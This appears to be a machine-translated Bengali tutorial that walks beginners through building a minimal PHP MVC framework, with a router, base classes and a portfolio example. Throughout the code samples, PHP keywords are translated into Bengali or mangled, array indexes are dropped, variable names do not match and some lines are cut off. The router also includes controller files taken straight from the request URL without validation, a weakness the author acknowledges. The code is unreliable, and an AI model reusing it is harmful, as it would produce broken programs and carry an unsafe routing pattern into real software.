এই নিবন্ধটি প্রাথমিকভাবে নতুনদের জন্য দরকারী হবে। যাই হোক না কেন, আমি আশা করি যে কয়েক ঘন্টার মধ্যে আপনি MVC প্যাটার্নের বাস্তবায়ন সম্পর্কে একটি ধারণা পেতে সক্ষম হবেন, যা সমস্ত আধুনিক ওয়েব ফ্রেমওয়ার্ককে অন্তর্নিহিত করে এবং "কীভাবে করা যায়" এর আরও প্রতিফলনের জন্য "খাদ্য"ও পাবে এটা কর." নিবন্ধের শেষে দরকারী লিঙ্কগুলির একটি নির্বাচন রয়েছে যা আপনাকে ওয়েব ফ্রেমওয়ার্কগুলি (MVC ছাড়াও) এবং কীভাবে কাজ করে তা বুঝতে সাহায্য করবে৷
অভিজ্ঞ PHP প্রোগ্রামাররা এই নিবন্ধে নিজেদের জন্য নতুন কিছু খুঁজে পাওয়ার সম্ভাবনা নেই, তবে মূল পাঠ্যের উপর তাদের মন্তব্য এবং মন্তব্যগুলি খুব সহায়ক হবে! কারণ তত্ত্ব ছাড়া অনুশীলন অসম্ভব, এবং অনুশীলন ছাড়া তত্ত্ব অকেজো, তারপর প্রথমে একটু তত্ত্ব হবে, তারপর আমরা অনুশীলনে এগিয়ে যাব। আপনি যদি ইতিমধ্যে MVC ধারণার সাথে পরিচিত হন তবে আপনি তত্ত্ব বিভাগটি এড়িয়ে যেতে পারেন এবং সরাসরি অনুশীলনে যেতে পারেন।
1. তত্ত্ব MVC প্যাটার্ন একটি অ্যাপ্লিকেশন গঠনের একটি সহজ উপায় বর্ণনা করে, যার উদ্দেশ্য হল ব্যবহারকারীর ইন্টারফেস থেকে ব্যবসায়িক যুক্তিকে আলাদা করা। ফলস্বরূপ, অ্যাপ্লিকেশনটি স্কেল করা, পরীক্ষা করা, বজায় রাখা এবং অবশ্যই বাস্তবায়ন করা সহজ।আসুন এমভিসি প্যাটার্নের ধারণাগত ডায়াগ্রামটি দেখি (আমার মতে, এটি আমার দেখা সবচেয়ে সফল চিত্র):
এমভিসি আর্কিটেকচারে, মডেলটি ডেটা এবং ব্যবসায়িক যুক্তির নিয়ম প্রদান করে, ভিউটি ইউজার ইন্টারফেসের জন্য দায়ী এবং নিয়ামক মডেল এবং ভিউয়ের মধ্যে মিথস্ক্রিয়া প্রদান করে।
একটি MVC অ্যাপ্লিকেশনের একটি সাধারণ প্রবাহ নিম্নরূপ বর্ণনা করা যেতে পারে:
এটি সাইটের মূল পৃষ্ঠাটির একটি দৃশ্য প্রদর্শন করে।
যেটিতে, উদাহরণস্বরূপ, মডেল কল রয়েছে যা ডেটাবেস থেকে তথ্য পড়ে।
মডেলটি সরাসরি ব্যবহারকারীর সাথে যোগাযোগ করা উচিত নয়। ব্যবহারকারীর অনুরোধের সাথে সম্পর্কিত সমস্ত ভেরিয়েবল অবশ্যই কন্ট্রোলারে প্রক্রিয়া করা উচিত।
মডেলটি HTML বা অন্য ডিসপ্লে কোড তৈরি করা উচিত নয় যা ব্যবহারকারীর প্রয়োজনের উপর নির্ভর করে পরিবর্তিত হতে পারে। এই ধরনের কোড ভিউ মধ্যে প্রক্রিয়া করা উচিত.
একই মডেল, উদাহরণস্বরূপ: ব্যবহারকারীর প্রমাণীকরণ মডেলটি অ্যাপ্লিকেশনটির ব্যবহারকারী এবং প্রশাসনিক উভয় অংশেই ব্যবহার করা যেতে পারে। এই ক্ষেত্রে, আপনি সাধারণ কোডটিকে একটি পৃথক শ্রেণীতে স্থানান্তর করতে পারেন এবং এটি থেকে উত্তরাধিকার সূত্রে পেতে পারেন, এর বংশধরে উপ-অ্যাপ্লিকেশন-নির্দিষ্ট পদ্ধতিগুলি সংজ্ঞায়িত করে।
দেখুন - নিয়ামক এবং মডেল থেকে প্রাপ্ত ডেটার বাহ্যিক প্রদর্শন নির্দিষ্ট করতে ব্যবহৃত হয়।
ভিউ তে এইচটিএমএল মার্কআপ এবং পিএইচপি কোডের ছোট সন্নিবেশগুলি ট্র্যাভার্স, ফর্ম্যাট এবং ডেটা প্রদর্শনের জন্য থাকে।
ডাটাবেস সরাসরি অ্যাক্সেস করা উচিত নয়। এই মডেল কি করা উচিত.
ব্যবহারকারীর অনুরোধ থেকে প্রাপ্ত ডেটা নিয়ে কাজ করা উচিত নয়। এই কাজটি কন্ট্রোলার দ্বারা সঞ্চালিত করা আবশ্যক।
আউটপুট-প্রস্তুত ডেটা প্রাপ্ত করার জন্য একটি নিয়ামক বা মডেলের বৈশিষ্ট্য এবং পদ্ধতিগুলি সরাসরি অ্যাক্সেস করতে পারে।
ভিউগুলিকে সাধারণত একটি সাধারণ টেমপ্লেটে ভাগ করা হয়, এতে সমস্ত পৃষ্ঠার সাধারণ মার্কআপ থাকে (উদাহরণস্বরূপ, একটি শিরোনাম এবং ফুটার) এবং টেমপ্লেটের কিছু অংশ যা মডেল থেকে ডেটা আউটপুট প্রদর্শন করতে বা ডেটা এন্ট্রি ফর্মগুলি প্রদর্শন করতে ব্যবহৃত হয়।
কন্ট্রোলার হল সেই আঠা যা মডেল, ভিউ এবং অন্যান্য উপাদানকে একটি কার্যকরী অ্যাপ্লিকেশনে সংযুক্ত করে। নিয়ামক ব্যবহারকারীর অনুরোধ প্রক্রিয়াকরণের জন্য দায়ী। কন্ট্রোলারে SQL কোয়েরি থাকা উচিত নয়। এগুলোকে মডেলে রাখা ভালো। কন্ট্রোলারে HTML বা অন্য মার্কআপ থাকা উচিত নয়। এটি দৃষ্টিভঙ্গিতে আনা মূল্যবান।
একটি ভালভাবে ডিজাইন করা MVC অ্যাপ্লিকেশনে, কন্ট্রোলারগুলি সাধারণত খুব পাতলা হয় এবং কোডের মাত্র কয়েক ডজন লাইন ধারণ করে। সিএমএস জুমলায় স্টুপিড ফ্যাট কন্ট্রোলার (এসএফসি) সম্পর্কে একই কথা বলা যাবে না। কন্ট্রোলার লজিকটি বেশ সাধারণ এবং এর বেশিরভাগই বেস ক্লাসে স্থানান্তরিত হয়।
মডেল, বিপরীতভাবে, খুব পুরু এবং ডেটা প্রসেসিং সম্পর্কিত বেশিরভাগ কোড ধারণ করে, কারণ এটির মধ্যে থাকা ডেটা স্ট্রাকচার এবং ব্যবসায়িক যুক্তি সাধারণত একটি নির্দিষ্ট অ্যাপ্লিকেশনের জন্য বেশ নির্দিষ্ট।
আমি আশা করি আপনি ইতিমধ্যে লক্ষ্য করেছেন যে বিভিন্ন সাইটের ঠিকানা বার তৈরির জন্য সম্পূর্ণ ভিন্ন ফর্ম্যাট থাকতে পারে। প্রতিটি বিন্যাস একটি ওয়েব অ্যাপ্লিকেশনের আর্কিটেকচার প্রদর্শন করতে পারে। যদিও এটি সর্বদা হয় না, তবে বেশিরভাগ ক্ষেত্রে এটি একটি স্পষ্ট সত্য।
আসুন ঠিকানা বারের জন্য দুটি বিকল্প বিবেচনা করি, যা কিছু পাঠ্য এবং একটি ব্যবহারকারীর প্রোফাইল প্রদর্শন করে।
প্রথম বিকল্প:
দ্বিতীয় বিকল্প:
আপনি phpBB ফোরামে মাল্টি-টাচপয়েন্ট পদ্ধতি দেখতে পারেন। ফোরামটি viewforum.php স্ক্রিপ্টের মাধ্যমে দেখা হয়, বিষয়টি viewtopic.php ইত্যাদির মাধ্যমে দেখা হয়। দ্বিতীয় পদ্ধতি, একটি একক ফিজিক্যাল স্ক্রিপ্ট ফাইলের মাধ্যমে অ্যাক্সেস করা, আমার প্রিয় CMS MODX-এ দেখা যাবে, যেখানে সমস্ত কল index.php-এর মাধ্যমে যায়।
এই দুটি পন্থা সম্পূর্ণ ভিন্ন। প্রথমটি পৃষ্ঠা কন্ট্রোলার প্যাটার্নের জন্য সাধারণ, এবং দ্বিতীয় পদ্ধতিটি ফ্রন্ট কন্ট্রোলার প্যাটার্ন দ্বারা প্রয়োগ করা হয়। পৃষ্ঠা নিয়ন্ত্রক মোটামুটি সহজ যুক্তি সহ সাইটগুলির জন্য ভাল। পরিবর্তে, অনুরোধ নিয়ন্ত্রক সমস্ত অনুরোধ প্রক্রিয়াকরণ কার্যক্রমকে এক জায়গায় একত্রিত করে, যা এটিকে অতিরিক্ত ক্ষমতা দেয় যা আপনাকে পৃষ্ঠা নিয়ন্ত্রকের দ্বারা সাধারণত সমাধান করা থেকে আরও জটিল কাজগুলি বাস্তবায়ন করতে দেয়৷ আমি পৃষ্ঠা নিয়ন্ত্রকের বাস্তবায়নের বিশদ বিবরণে যাব না, তবে কেবলমাত্র বলব যে ব্যবহারিক অংশে, এটি হবে অনুরোধ নিয়ামক (অনুরূপ কিছু) যা বিকাশ করা হবে।
1.2। ইউআরএল রাউটিং ইউআরএল রাউটিং আপনাকে ইউআরএল থেকে অনুরোধ গ্রহণ করার জন্য আপনার অ্যাপ্লিকেশন কনফিগার করতে দেয় যা প্রকৃত অ্যাপ্লিকেশন ফাইলের সাথে সঙ্গতিপূর্ণ নয় এবং সিএনসি ব্যবহার করতে দেয় যা ব্যবহারকারীদের জন্য অর্থপূর্ণভাবে অর্থপূর্ণ এবং সার্চ ইঞ্জিন অপ্টিমাইজেশানের জন্য পছন্দ করা হয়।উদাহরণস্বরূপ, একটি পরিচিতি ফর্ম প্রদর্শন করে এমন একটি নিয়মিত পৃষ্ঠার জন্য, URLটি দেখতে এইরকম হতে পারে:
http://www.example.com/contacts.php?action=feedback
এই ক্ষেত্রে আনুমানিক প্রক্রিয়াকরণ কোড:
স্যুইচ করুন ($_GET ["অ্যাকশন" ]) ( ক্ষেত্রে "সম্পর্কে" : need_once ("about.php"); // "আমাদের সম্পর্কে" পৃষ্ঠা বিরতি ; কেস "পরিচিতি" : need_once ("contacts.php"); // পৃষ্ঠা "পরিচিতি" বিরতি ; ক্ষেত্রে "প্রতিক্রিয়া" : প্রয়োজন_একবার ("feedback.php"); // পৃষ্ঠা "প্রতিক্রিয়া" বিরতি; ডিফল্ট: need_once ("page404.php"); // পৃষ্ঠা "404" বিরতি ;)
আমি মনে করি প্রায় সবাই এটি আগে করেছে।
একটি ইউআরএল রাউটিং ইঞ্জিন ব্যবহার করে, আপনি একই তথ্য প্রদর্শন করার জন্য অনুরোধগুলি গ্রহণ করার জন্য আপনার অ্যাপ্লিকেশনটি কনফিগার করতে পারেন:
http://www.example.com/contacts/feedback
এখানে পরিচিতিগুলি নিয়ামককে প্রতিনিধিত্ব করে এবং প্রতিক্রিয়া হল পরিচিতি নিয়ামক পদ্ধতি যা প্রতিক্রিয়া ফর্ম ইত্যাদি প্রদর্শন করে। আমরা ব্যবহারিক অংশে এই বিষয়ে ফিরে আসব।
এটা জানাও মূল্যবান যে অনেক ওয়েব ফ্রেমওয়ার্কের রাউটার আপনাকে কাস্টম ইউআরএল রুট তৈরি করতে দেয় (ইউআরএলের প্রতিটি অংশের অর্থ কী তা নির্দিষ্ট করুন) এবং সেগুলি প্রক্রিয়া করার নিয়ম।
এখন অনুশীলনে এগিয়ে যাওয়ার জন্য আমাদের যথেষ্ট তাত্ত্বিক জ্ঞান রয়েছে।
সামনের দিকে তাকিয়ে, আমি বলব যে কোর ক্লাস মডেল, ভিউ এবং কন্ট্রোলার কোর ফোল্ডারে সংরক্ষণ করা হবে।
তাদের সন্তানদের কন্ট্রোলার, মডেল এবং ভিউ ডিরেক্টরিতে সংরক্ষণ করা হবে। index.php ফাইলটি অ্যাপ্লিকেশনের প্রবেশ বিন্দু। bootstrap.php ফাইলটি অ্যাপ্লিকেশনের লোডিং, সমস্ত প্রয়োজনীয় মডিউল সংযোগ ইত্যাদি শুরু করে।
আমরা ক্রমানুসারে যাব; আসুন index.php ফাইলটি খুলি এবং নিম্নলিখিত কোডটি পূরণ করি:
ini_set("display_errors" , 1); need_once "application/bootstrap.php" ;
এখানে কোন প্রশ্ন করা উচিত নয়.
এরপর, চলুন অবিলম্বে bootstrap.php ফাইলে যাই:
প্রয়োজন_একবার "core/model.php" ; প্রয়োজন_একবার "core/view.php" ; প্রয়োজন_একবার "core/controller.php" ; প্রয়োজন_একবার "core/route.php" ; রুট::স্টার্ট(); //রাউটার শুরু করুন
প্রথম তিনটি লাইনে বর্তমানে বিদ্যমান নেই এমন কার্নেল ফাইল অন্তর্ভুক্ত থাকবে। শেষ লাইনগুলি রাউটার ক্লাস সহ ফাইলটি অন্তর্ভুক্ত করে এবং স্ট্যাটিক স্টার্ট মেথড কল করে এটি কার্যকর করার জন্য চালু করে।
RewriteEngine অন RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
এই কোডটি সমস্ত পৃষ্ঠা প্রক্রিয়াকরণকে index.php-এ পুনঃনির্দেশিত করবে, যা আমাদের প্রয়োজন। প্রথম অংশে আমরা ফ্রন্ট কন্ট্রোলার সম্পর্কে কথা বলেছিলাম মনে রাখবেন?!
আমরা মূল ডিরেক্টরিতে একটি পৃথক ফাইল route.php এ রাউটিং রাখব। এই ফাইলে আমরা রুট ক্লাস বর্ণনা করব, যা কন্ট্রোলার মেথড চালাবে, যার ফলে পেজ ভিউ জেনারেট হবে।
route.php ফাইলের বিষয়বস্তু
ক্লাস রুট ( স্ট্যাটিক ফাংশন শুরু () ( // কন্ট্রোলার এবং ডিফল্ট অ্যাকশন $controller_name = "Main" ; $action_name = "index" ; $routes = explode("/" , $_SERVER ["REQUEST_URI" ]); // পান কন্ট্রোলারের নাম যদি (!empty ($routes )) ( $controller_name = $routes ; ) // কর্মের নাম পান যদি (!empty ($routes )) ( $action_name = $routes ; ) // উপসর্গ যোগ করুন $model_name = "Model_" .$controller_name ; $controller_name = "Controller_" .$controller_name ; $action_name = "action_" .$action_name ; // মডেল ক্লাসের সাথে ফাইলটি হুক করুন (একটি মডেল ফাইল নাও থাকতে পারে) $model_file = strtolower . কন্ট্রোলার ক্লাসের সাথে $controller_file = strtolower ($controller_name.php" ; $controller_path = "application/controllers/" .$controller_file ; যদি (file_exists($controller_path )) ( "application/controllers/" অন্তর্ভুক্ত করে .$file_controller ) else ( /* এখানে একটি ব্যতিক্রম নিক্ষেপ করা সঠিক হবে, তবে জিনিসগুলি সহজ করার জন্য, আমরা অবিলম্বে 404 পৃষ্ঠায় পুনঃনির্দেশ করব */ Route::ErrorPage404(); ) // একটি নিয়ামক তৈরি করুন $controller = new $controller_name ; $action = $action_name ; যদি (method_exists($controller , $action )) ( // কন্ট্রোলার অ্যাকশনকে কল করুন $controller ->$action (); ) অন্যথায় ( // এখানে একটি ব্যতিক্রম Route::ErrorPage404();) নিক্ষেপ করাও বুদ্ধিমানের কাজ হবে ) ফাংশন ErrorPage404 ( ) ( $host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; হেডার ("HTTP/1.1 404 পাওয়া যায়নি"); শিরোনাম ("স্থিতি: 404 পাওয়া যায়নি" ) ; হেডার (" অবস্থান:" .$ হোস্ট ."404" ); ) )
আমি নোট করি যে ক্লাসটি খুব সরলীকৃত যুক্তি প্রয়োগ করে (ভলিউমিনাস কোড সত্ত্বেও) এবং এমনকি নিরাপত্তা সমস্যা থাকতে পারে। এটা ইচ্ছাকৃতভাবে করা হয়েছে, কারণ... একটি পূর্ণাঙ্গ রাউটিং ক্লাস লেখা অন্তত একটি পৃথক নিবন্ধ প্রাপ্য। আসুন মূল পয়েন্টগুলি দেখি ...
গ্লোবাল অ্যারে উপাদান $_SERVER["REQUEST_URI"] ব্যবহারকারীর সাথে যোগাযোগ করা সম্পূর্ণ ঠিকানা রয়েছে৷
যেমন: example.ru/contacts/feedback
ফাংশন ব্যবহার করে বিস্ফোরণঠিকানাটি উপাদানে বিভক্ত। ফলস্বরূপ, আমরা কন্ট্রোলারের নাম পাই, প্রদত্ত উদাহরণের জন্য, এটি নিয়ামক পরিচিতিএবং কর্মের নাম, আমাদের ক্ষেত্রে - প্রতিক্রিয়া.
এর পরে, মডেল ফাইল (মডেলটি অনুপস্থিত হতে পারে) এবং নিয়ামক ফাইল, যদি থাকে, সংযুক্ত থাকে এবং অবশেষে, নিয়ামকের একটি উদাহরণ তৈরি করা হয় এবং ক্রিয়াটি আবার বলা হয়, যদি এটি কন্ট্রোলার ক্লাসে বর্ণনা করা হয়।
সুতরাং, যখন যাচ্ছেন, উদাহরণস্বরূপ, ঠিকানা:
example.com/portfolio
বা
example.com/portfolio/index
রাউটার নিম্নলিখিত ক্রিয়াগুলি সম্পাদন করবে:
example.com/ufo
তারপর তাকে "404" পৃষ্ঠায় পুনঃনির্দেশিত করা হবে:
example.com/404
একই জিনিস ঘটবে যদি ব্যবহারকারী একটি অ্যাকশন অ্যাক্সেস করে যা কন্ট্রোলারে বর্ণনা করা হয়নি।2.2। আসুন MVC বাস্তবায়নে ফিরে যাই। মূল ফোল্ডারে যাই এবং route.php ফাইলে আরও তিনটি ফাইল যোগ করি: model.php, view.php এবং controller.php
আমি আপনাকে মনে করিয়ে দিই যে সেগুলিতে বেস ক্লাস থাকবে, যা আমরা এখন লেখা শুরু করব।
model.php ফাইলের বিষয়বস্তু
ক্লাস মডেল ( পাবলিক ফাংশন get_data ( ) ( ) )
মডেল ক্লাসে একটি একক খালি ডেটা আনার পদ্ধতি রয়েছে, যা বংশধর শ্রেণিতে ওভাররাইড করা হবে। আমরা যখন ডিসেন্ডেন্ট ক্লাস তৈরি করি তখন সবকিছু পরিষ্কার হয়ে যাবে।
view.php ফাইলের বিষয়বস্তু
ক্লাস ভিউ ( //public $template_view; // এখানে আপনি ডিফল্ট সাধারণ ভিউ নির্দিষ্ট করতে পারেন। ফাংশন জেনারেট করুন ($content_view , $template_view , $data = null) ( /* if(is_array($data)) ( // কনভার্ট অ্যারে ভেরিয়েবল এক্সট্রাক্ট ($data); ) */ অন্তর্ভুক্ত "application/views/" .$template_view ; ) )
পদ্ধতিটি অনুমান করা কঠিন নয় উৎপন্নএকটি দৃশ্য গঠন করার উদ্দেশ্যে। নিম্নলিখিত পরামিতি এটি পাস করা হয়:
একটি নির্দিষ্ট পৃষ্ঠার বিষয়বস্তু প্রদর্শন করতে।
আমাদের ক্ষেত্রে, সাধারণ টেমপ্লেটে হেডার, মেনু, সাইডবার এবং ফুটার থাকবে এবং পৃষ্ঠার বিষয়বস্তু আলাদা আকারে থাকবে। আবার, এটি সরলতার জন্য করা হয়।
controller.php ফাইলের বিষয়বস্তু
ক্লাস কন্ট্রোলার ( পাবলিক $ মডেল ; পাবলিক $ ভিউ ; ফাংশন __ কনস্ট্রাক্ট () ( $this -> view = new View(); ) )
পদ্ধতি কর্ম_সূচক- এটি ডিফল্টরূপে বলা ক্রিয়া; বংশধর শ্রেণিগুলি প্রয়োগ করার সময় আমরা এটিকে ওভাররাইড করব।
আগের চিত্রে, template_view.php ফাইলটি আলাদাভাবে হাইলাইট করা হয়েছে - এটি একটি টেমপ্লেট যাতে মার্কআপ সব পৃষ্ঠার জন্য সাধারণ। সহজ ক্ষেত্রে এটি এই মত দেখতে পারে:
বাড়ি
সাইটটিকে একটি উপস্থাপনযোগ্য চেহারা দিতে, আমরা একটি CSS টেমপ্লেট তৈরি করি এবং HTML মার্কআপের কাঠামো পরিবর্তন করে এবং CSS এবং JavaScript ফাইলগুলিকে সংযুক্ত করে এটিকে আমাদের সাইটে একীভূত করি:
নিবন্ধের শেষে, "ফলাফল" বিভাগে, একটি প্রকল্পের সাথে একটি GitHub সংগ্রহস্থলের একটি লিঙ্ক রয়েছে যেখানে একটি সাধারণ টেমপ্লেট সংহত করার জন্য পদক্ষেপ নেওয়া হয়েছে৷
ক্লাস Controller_Main কন্ট্রোলারকে প্রসারিত করে ( ফাংশন action_index () ( $this ->view->generate("main_view.php" , "template_view.php"); ))
পদ্ধতিতে উৎপন্নভিউ ক্লাসের একটি উদাহরণ, সাধারণ টেমপ্লেটের ফাইলগুলির নাম এবং পৃষ্ঠার বিষয়বস্তু সহ ভিউ পাস করা হয়েছে।
সূচক ক্রিয়া ছাড়াও, নিয়ামক অবশ্যই অন্যান্য ক্রিয়া ধারণ করতে পারে।
আমরা আগে সাধারণ ভিউ ফাইল পর্যালোচনা. কন্টেন্ট ফাইল main_view.php বিবেচনা করুন:
স্বাগত! OLOLOSHA TEAM হল ওয়েবসাইট ডেভেলপমেন্টের ক্ষেত্রে প্রথম-শ্রেণির বিশেষজ্ঞদের একটি দল যাদের মেক্সিকান মুখোশ, ভারত এবং সিলন থেকে ব্রোঞ্জ এবং পাথরের মূর্তি, নিরক্ষীয় আফ্রিকার পাঁচ বা ছয় শতাব্দীর মাস্টারদের দ্বারা তৈরি বাস-রিলিফ এবং ভাস্কর্য সংগ্রহ করার অভিজ্ঞতা রয়েছে। আগে...
এতে কোনো পিএইচপি কল ছাড়াই সহজ মার্কআপ রয়েছে।
প্রধান পৃষ্ঠা প্রদর্শন করতে, আপনি নিম্নলিখিত ঠিকানাগুলির মধ্যে একটি ব্যবহার করতে পারেন:
- লাইব্রেরির পদ্ধতি যা ডেটা বিমূর্তকরণ বাস্তবায়ন করে। উদাহরণস্বরূপ, PEAR MDB2 লাইব্রেরির পদ্ধতি;
- ORM পদ্ধতি;
- NoSQL এর সাথে কাজ করার পদ্ধতি;
- এবং ইত্যাদি. সরলতার জন্য, আমরা এখানে SQL কোয়েরি বা ORM স্টেটমেন্ট ব্যবহার করব না। পরিবর্তে, আমরা বাস্তব ডেটা অনুকরণ করব এবং অবিলম্বে ফলাফলের একটি অ্যারে ফিরিয়ে দেব।
মডেল ফাইল মডেল_portfolio.php মডেল ফোল্ডারে রাখুন। এখানে এর বিষয়বস্তু রয়েছে:
class Model_Portfolio প্রসারিত করে মডেল ( পাবলিক ফাংশন get_data () ( রিটার্ন অ্যারে (অ্যারে ("বছর" => "2012" , "সাইট" => "http://DunkelBeer.ru" , "বিবরণ" => "প্রমোশনাল সাইট জার্মান প্রস্তুতকারক Löwenbraü থেকে গাঢ় Dunkel বিয়ার যা রাশিয়ায় ব্রিউইং কোম্পানি "SUN InBev" দ্বারা উত্পাদিত হয়। " => "অ্যান্ড্রয়েড ওএস এবং তাদের জন্য আনুষাঙ্গিকগুলির উপর ভিত্তি করে Zopo থেকে চীনা ফোনগুলির রাশিয়ান-ভাষার ক্যাটালগ।"), // todo ) )
মডেল কন্ট্রোলার ক্লাস controller_portfolio.php ফাইলে রয়েছে, এখানে এর কোড রয়েছে:
ক্লাস Controller_Portfolio কন্ট্রোলারকে প্রসারিত করে ( ফাংশন __construct () ( $this ->model = new Model_Portfolio(); $this ->view = new View(); ) function action_index () ( $data = $this ->model->get_data( ); $this ->view->generate("portfolio_view.php" , "template_view.php" , $data); ))
একটি পরিবর্তনশীল তথ্যপদ্ধতি দ্বারা প্রত্যাবর্তিত অ্যারে লেখা হয় তথ্য নাওযা আমরা আগে দেখেছি।
এই পরিবর্তনশীল তারপর একটি পদ্ধতি পরামিতি হিসাবে পাস করা হয় উৎপন্ন, এতে আরও রয়েছে: সাধারণ টেমপ্লেট সহ ফাইলের নাম এবং পৃষ্ঠার বিষয়বস্তু সহ দৃশ্য ধারণকারী ফাইলের নাম।
পৃষ্ঠার বিষয়বস্তু ধারণকারী দৃশ্যটি portfolio_view.php ফাইলে রয়েছে।
পোর্টফোলিও
বছর | প্রকল্প | বর্ণনা |